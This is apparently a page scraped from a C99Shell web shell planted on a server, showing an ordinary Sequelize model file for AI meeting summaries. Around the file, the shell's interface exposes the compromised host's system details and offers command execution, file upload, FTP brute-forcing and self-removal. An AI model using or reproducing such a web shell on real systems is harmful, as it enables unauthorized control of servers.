!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/models/   drwxr-xr-x
Free 25.88 GB of 117.98 GB (21.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Summary.js (10.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { DataTypes } = require('sequelize');
const { sequelize } = require('../config/database');

const Summary = sequelize.define('Summary', {
  id: {
    type: DataTypes.INTEGER,
    primaryKey: true,
    autoIncrement: true,
  },
  meeting_id: {
    type: DataTypes.INTEGER,
    allowNull: false,
    references: {
      model: 'meetings',
      key: 'id',
    },
    onDelete: 'CASCADE',
  },
  overview: {
    type: DataTypes.TEXT,
    allowNull: false,
    validate: {
      notEmpty: true,
      len: [10, 5000],
    },
    comment: 'High-level summary of the meeting',
  },
  decisions: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: [],
    validate: {
      isArray(value) {
        if (value && !Array.isArray(value)) {
          throw new Error('Decisions must be an array');
        }
      },
    },
    comment: 'Array of decisions made during the meeting',
  },
  action_items: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: [],
    validate: {
      isValidActionItems(value) {
        if (value && !Array.isArray(value)) {
          throw new Error('Action items must be an array');
        }
        if (value) {
          for (const item of value) {
            if (!item.title || typeof item.title !== 'string') {
              throw new Error('Each action item must have a title');
            }
          }
        }
      },
    },
    comment: 'Array of action items with assignees and due dates',
  },
  risks: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: [],
    validate: {
      isArray(value) {
        if (value && !Array.isArray(value)) {
          throw new Error('Risks must be an array');
        }
      },
    },
    comment: 'Array of identified risks and concerns',
  },
  questions: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: [],
    validate: {
      isArray(value) {
        if (value && !Array.isArray(value)) {
          throw new Error('Questions must be an array');
        }
      },
    },
    comment: 'Array of unresolved questions and follow-ups',
  },
  key_topics: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: [],
    comment: 'Main topics discussed in the meeting',
  },
  participants_summary: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: {},
    comment: 'Summary of each participant\'s contributions',
  },
  sentiment_analysis: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: {},
    comment: 'Overall sentiment and mood analysis',
  },
  confidence_score: {
    type: DataTypes.DECIMAL(3, 2),
    allowNull: false,
    defaultValue: 0.00,
    validate: {
      min: 0.00,
      max: 1.00,
    },
    comment: 'AI confidence in the summary accuracy (0.00 to 1.00)',
  },
  word_count: {
    type: DataTypes.INTEGER,
    allowNull: false,
    defaultValue: 0,
  },
  processing_time: {
    type: DataTypes.INTEGER,
    allowNull: true,
    comment: 'Time taken to generate summary in seconds',
  },
  ai_model: {
    type: DataTypes.STRING(100),
    allowNull: false,
    defaultValue: 'gpt-4',
    comment: 'AI model used for summary generation',
  },
  model_version: {
    type: DataTypes.STRING(50),
    allowNull: true,
    comment: 'Version of the AI model used',
  },
  prompt_version: {
    type: DataTypes.STRING(20),
    allowNull: true,
    comment: 'Version of the prompt template used',
  },
  source_data: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: {},
    comment: 'Metadata about source data used (notes, transcripts, etc.)',
  },
  status: {
    type: DataTypes.ENUM('generating', 'completed', 'failed', 'reviewed', 'approved'),
    allowNull: false,
    defaultValue: 'generating',
  },
  error_message: {
    type: DataTypes.TEXT,
    allowNull: true,
    comment: 'Error message if generation failed',
  },
  is_edited: {
    type: DataTypes.BOOLEAN,
    defaultValue: false,
    comment: 'Whether the summary has been manually edited',
  },
  edited_by: {
    type: DataTypes.INTEGER,
    allowNull: true,
    references: {
      model: 'users',
      key: 'id',
    },
    comment: 'User who last edited the summary',
  },
  approved_by: {
    type: DataTypes.INTEGER,
    allowNull: true,
    references: {
      model: 'users',
      key: 'id',
    },
    comment: 'User who approved the summary',
  },
  approved_at: {
    type: DataTypes.DATE,
    allowNull: true,
    comment: 'When the summary was approved',
  },
  tags: {
    type: DataTypes.JSON,
    allowNull: true,
    defaultValue: [],
    comment: 'Tags for categorizing the summary',
  },
  priority: {
    type: DataTypes.ENUM('low', 'medium', 'high', 'urgent'),
    defaultValue: 'medium',
    allowNull: false,
  },
  visibility: {
    type: DataTypes.ENUM('private', 'team', 'organization', 'public'),
    defaultValue: 'private',
    allowNull: false,
  },
}, {
  tableName: 'summaries',
  timestamps: true,
  indexes: [
    {
      fields: ['meeting_id'],
      unique: true,
    },
    {
      fields: ['status'],
    },
    {
      fields: ['priority'],
    },
    {
      fields: ['visibility'],
    },
    {
      fields: ['approved_by'],
    },
  ],
  hooks: {
    beforeSave: (summary) => {
      // Calculate word count from overview
      if (summary.overview) {
        const words = summary.overview.trim().split(/\s+/).filter(word => word.length > 0);
        summary.word_count = words.length;
      }
    },
  },
});

// Instance methods
Summary.prototype.getActionItemsCount = function() {
  return this.action_items ? this.action_items.length : 0;
};

Summary.prototype.getDecisionsCount = function() {
  return this.decisions ? this.decisions.length : 0;
};

Summary.prototype.getRisksCount = function() {
  return this.risks ? this.risks.length : 0;
};

Summary.prototype.getQuestionsCount = function() {
  return this.questions ? this.questions.length : 0;
};

Summary.prototype.getPendingActionItems = function() {
  if (!this.action_items || !Array.isArray(this.action_items)) {
    return [];
  }
  
  return this.action_items.filter(item => 
    !item.status || item.status === 'pending' || item.status === 'in_progress'
  );
};

Summary.prototype.getOverdueActionItems = function() {
  if (!this.action_items || !Array.isArray(this.action_items)) {
    return [];
  }
  
  const now = new Date();
  return this.action_items.filter(item => {
    if (!item.due_date) return false;
    const dueDate = new Date(item.due_date);
    return dueDate < now && (!item.status || item.status !== 'completed');
  });
};

Summary.prototype.getHighPriorityItems = function() {
  const items = [];
  
  // High priority action items
  if (this.action_items && Array.isArray(this.action_items)) {
    items.push(...this.action_items.filter(item => 
      item.priority === 'high' || item.priority === 'urgent'
    ));
  }
  
  // All risks are considered high priority
  if (this.risks && Array.isArray(this.risks)) {
    items.push(...this.risks.map(risk => ({ ...risk, type: 'risk' })));
  }
  
  return items;
};

Summary.prototype.addActionItem = function(actionItem) {
  if (!this.action_items) {
    this.action_items = [];
  }
  
  const newItem = {
    id: Date.now().toString(),
    title: actionItem.title,
    description: actionItem.description || '',
    assignee: actionItem.assignee || null,
    due_date: actionItem.due_date || null,
    priority: actionItem.priority || 'medium',
    status: actionItem.status || 'pending',
    created_at: new Date().toISOString(),
  };
  
  this.action_items.push(newItem);
  return this;
};

Summary.prototype.updateActionItem = function(itemId, updates) {
  if (!this.action_items || !Array.isArray(this.action_items)) {
    return false;
  }
  
  const itemIndex = this.action_items.findIndex(item => item.id === itemId);
  if (itemIndex === -1) {
    return false;
  }
  
  this.action_items[itemIndex] = {
    ...this.action_items[itemIndex],
    ...updates,
    updated_at: new Date().toISOString(),
  };
  
  return true;
};

Summary.prototype.markAsCompleted = async function() {
  this.status = 'completed';
  return this.save();
};

Summary.prototype.markAsFailed = async function(errorMessage) {
  this.status = 'failed';
  this.error_message = errorMessage;
  return this.save();
};

Summary.prototype.approve = async function(userId) {
  this.status = 'approved';
  this.approved_by = userId;
  this.approved_at = new Date();
  return this.save();
};

// Class methods
Summary.findByMeeting = function(meetingId) {
  return this.findOne({
    where: { meeting_id: meetingId },
  });
};

Summary.findPendingGeneration = function(limit = 10) {
  return this.findAll({
    where: {
      status: 'generating',
    },
    order: [['created_at', 'ASC']],
    limit,
  });
};

Summary.findByStatus = function(status, options = {}) {
  return this.findAll({
    where: {
      status,
      ...options.where,
    },
    order: options.order || [['created_at', 'DESC']],
    limit: options.limit,
  });
};

Summary.findRecentByUser = function(userId, limit = 10) {
  return this.findAll({
    include: [{
      model: sequelize.models.Meeting,
      where: { user_id: userId },
      attributes: [],
    }],
    order: [['created_at', 'DESC']],
    limit,
  });
};

Summary.getStatsByUser = async function(userId) {
  const summaries = await this.findAll({
    include: [{
      model: sequelize.models.Meeting,
      where: { user_id: userId },
      attributes: [],
    }],
  });
  
  const stats = {
    total_summaries: summaries.length,
    completed: summaries.filter(s => s.status === 'completed').length,
    pending: summaries.filter(s => s.status === 'generating').length,
    total_action_items: summaries.reduce((sum, s) => sum + s.getActionItemsCount(), 0),
    pending_action_items: summaries.reduce((sum, s) => sum + s.getPendingActionItems().length, 0),
    overdue_action_items: summaries.reduce((sum, s) => sum + s.getOverdueActionItems().length, 0),
    total_decisions: summaries.reduce((sum, s) => sum + s.getDecisionsCount(), 0),
    total_risks: summaries.reduce((sum, s) => sum + s.getRisksCount(), 0),
    average_confidence: summaries.length > 0 
      ? summaries.reduce((sum, s) => sum + parseFloat(s.confidence_score), 0) / summaries.length 
      : 0,
  };
  
  return stats;
};

module.exports = Summary;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--